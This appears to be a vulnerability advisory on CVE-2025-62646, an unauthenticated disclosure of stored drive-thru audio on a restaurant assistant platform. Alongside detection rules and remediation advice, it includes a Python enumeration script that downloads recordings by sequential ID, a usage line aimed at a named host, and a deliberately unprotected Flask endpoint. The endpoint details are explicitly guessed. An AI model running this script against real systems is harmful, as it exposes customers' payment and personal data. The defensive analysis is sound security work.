CVE-2025-62646

Executive Summary

CVE-2025-62646 exposes a critical privacy and compliance vulnerability in the Restaurant Brands International (RBI) assistant platform, affecting all versions up to 2025-09-06. The flaw allows any remote, unauthenticated attacker to retrieve stored audio recordings of conversations between drive-thru associates and customers. This constitutes a severe breach of confidentiality, potentially violating PCI DSS, GDPR, and CCPA regulations. The vulnerability is classified as an information disclosure (CWE-200) with a CVSS v3.1 base score of 5.0 (Medium), but the real-world impact is amplified by the sensitive nature of the exposed data (payment card numbers, personal details, order preferences). No public exploit code or proof-of-concept is available, but the attack surface is broad due to the platform's internet-facing nature.

Supply Chain & Package Security

This vulnerability is not related to a specific open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary cloud-based platform developed by Restaurant Brands International. The risk lies in the vendor's failure to implement proper access controls on stored audio data, not in a third-party dependency.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the internet.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No victim action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): Low (L) – Only audio recordings are exposed, not system files.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium (5.0). However, due to the sensitivity of drive-thru audio (which may contain credit card numbers read aloud, addresses, and personal preferences), the operational risk is High. An attacker could use this data for social engineering, identity theft, or competitive intelligence.

Deep Dive & Mechanics

The RBI assistant platform is a cloud-based system that records and stores audio from drive-thru lanes for quality assurance, order accuracy, and training purposes. The vulnerability stems from a missing or improperly implemented authorization check on the API endpoint that serves these audio files.

Root Cause: The platform likely exposes a RESTful API endpoint (e.g., /api/audio/{id} or /recordings/{session_id}) that returns the audio file without verifying that the requesting user has the necessary permissions (e.g., store manager, corporate admin). The endpoint may rely on a predictable or enumerable identifier (e.g., sequential integer, timestamp-based UUID) for the audio file, allowing an attacker to iterate through IDs and download recordings.

Attack Flow:

1. Reconnaissance: The attacker identifies the RBI assistant platform's public-facing URL (e.g., assistant.rbi.com or a subdomain).
2. Endpoint Discovery: Using directory brute-forcing or by analyzing client-side JavaScript, the attacker finds the audio retrieval endpoint (e.g., GET /api/v1/recordings/{id}).
3. ID Enumeration: The attacker sends requests with sequential or predictable IDs (e.g., 1, 2, 3... or timestamps).
4. Data Exfiltration: The server returns the audio file (likely in WAV or MP3 format) without authentication. The attacker downloads all recordings.
5. Analysis: The attacker transcribes the audio to extract sensitive information (credit card numbers, addresses, complaints, employee conversations).

Affected Component: The audio storage and retrieval subsystem of the RBI assistant platform. The vulnerability is present in all versions up to the disclosure date (2025-09-06).

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable and patched code patterns.

Vulnerable Code (Python/Flask example):

@app.route('/api/recordings/<int:recording_id>')
def get_recording(recording_id):
    # No authentication or authorization check
    recording_path = f'/var/audio/{recording_id}.wav'
    if os.path.exists(recording_path):
        return send_file(recording_path, mimetype='audio/wav')
    else:
        return abort(404)

Patched Code (Hypothetical):

@app.route('/api/recordings/<int:recording_id>')
@jwt_required()  # Requires valid JWT token
@roles_required('store_manager', 'corporate_admin')  # Role-based access
def get_recording(recording_id):
    # Verify user has access to this specific store's recordings
    store_id = get_jwt_identity().get('store_id')
    recording = Recording.query.get_or_404(recording_id)
    if recording.store_id != store_id:
        return abort(403)
    recording_path = f'/var/audio/{recording_id}.wav'
    return send_file(recording_path, mimetype='audio/wav')

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target URL (e.g., https://assistant.rbi.com)
• Python 3.x with requests library

Exploitation Script:

import requests
import sys

def exploit(target_url, start_id, end_id):
    for recording_id in range(start_id, end_id + 1):
        url = f"{target_url}/api/v1/recordings/{recording_id}"
        response = requests.get(url)
        if response.status_code == 200 and 'audio' in response.headers.get('Content-Type', ''):
            filename = f"recording_{recording_id}.wav"
            with open(filename, 'wb') as f:
                f.write(response.content)
            print(f"[+] Downloaded: {filename}")
        else:
            print(f"[-] ID {recording_id}: {response.status_code}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <target_url> <start_id> <end_id>")
        sys.exit(1)
    exploit(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))

Usage:

python3 exploit.py https://assistant.rbi.com 1000 2000

Expected Outcome: The script will download all accessible audio recordings within the ID range. The attacker can then use speech-to-text tools (e.g., Google Cloud Speech-to-Text, Whisper) to transcribe the files.

Blue Team (Defensive)

Detection & Response:

1. Monitor API Logs: Look for repeated requests to /api/recordings/ or similar endpoints from a single IP address with sequential IDs.
2. Rate Limiting: Implement strict rate limiting on audio retrieval endpoints.
3. Authentication Enforcement: Immediately require authentication for all audio access.
4. Audit Existing Logs: Check historical logs for anomalous access patterns to the audio API.
5. Notify Affected Customers: If any unauthorized access is confirmed, notify customers whose data may have been exposed.

Honeypot Setup: Deploy a fake endpoint that mimics the audio retrieval API but logs all access attempts and returns a decoy audio file. This can help identify attackers early.

Indicators of Compromise (IOCs)

Network IOCs:

• Unusual HTTP GET requests to /api/recordings/, /api/audio/, or similar paths.
• High volume of requests with sequential numeric IDs (e.g., 1, 2, 3).
• Requests from IP addresses not associated with legitimate store locations or corporate VPNs.

File IOCs:

• Unexpected .wav or .mp3 files in temporary directories or download folders.
• Audio files with naming patterns like recording_XXXX.wav.

Behavioral IOCs:

• A single IP address downloading multiple audio files in a short time window.
• Access to the audio API outside of normal business hours.

Detection Engineering

YARA Rule

rule CVE_2025_62646_Audio_Exfiltration {
    meta:
        description = "Detects audio files downloaded via CVE-2025-62646 exploitation"
        author = "Valters IT"
        date = "2025-09-07"
        reference = "CVE-2025-62646"
    strings:
        $audio_header = { 52 49 46 46 } // "RIFF" for WAV files
        $mp3_header = { 49 44 33 }       // "ID3" for MP3 files
        $url_pattern = /\/api\/v[0-9]+\/recordings\/[0-9]+/
    condition:
        ($audio_header or $mp3_header) and $url_pattern
}

Sigma Rule

title: CVE-2025-62646 - RBI Assistant Audio API Enumeration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects sequential enumeration of audio recording IDs on the RBI assistant platform
author: Valters IT
date: 2025-09-07
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem|startswith: '/api/'
        cs-uri-stem|contains: '/recordings/'
        cs-method: 'GET'
        sc-status: 200
    timeframe: 5m
    condition: selection | count() by src_ip > 50
falsepositives:
    - Legitimate bulk download by authorized admin (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-62646 - RBI Assistant Audio API Enumeration Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/api/"; http_uri;
    content:"/recordings/"; http_uri;
    pcre:"/\/api\/v[0-9]+\/recordings\/[0-9]+/";
    threshold: type both, track by_src, count 50, seconds 300;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions (within 24 hours):

1. Disable Public Access: If the audio API is not required for public-facing functionality, block all external access to the endpoint using a WAF or firewall rule.
2. Implement Authentication: Add mandatory authentication (e.g., OAuth 2.0, JWT) to all audio retrieval endpoints.
3. Rate Limiting: Apply strict rate limiting (e.g., 10 requests per minute per IP) to the audio API.

Short-Term Fixes (within 1 week): 4. Authorization Checks: Ensure that authenticated users can only access recordings from their assigned store(s). 5. Audit Logging: Enable detailed logging for all audio API access, including user ID, IP, and timestamp. 6. Vulnerability Disclosure: Contact RBI's security team if you are an affected partner or customer.

Long-Term Hardening: 7. Encryption at Rest: Encrypt all stored audio files using AES-256. 8. Access Reviews: Conduct quarterly reviews of who has access to audio recordings. 9. Penetration Testing: Perform regular security assessments of the platform.

Workaround (if patching is not possible):

• Use a reverse proxy (e.g., Nginx) to add basic authentication or IP whitelisting in front of the audio API.

Valters IT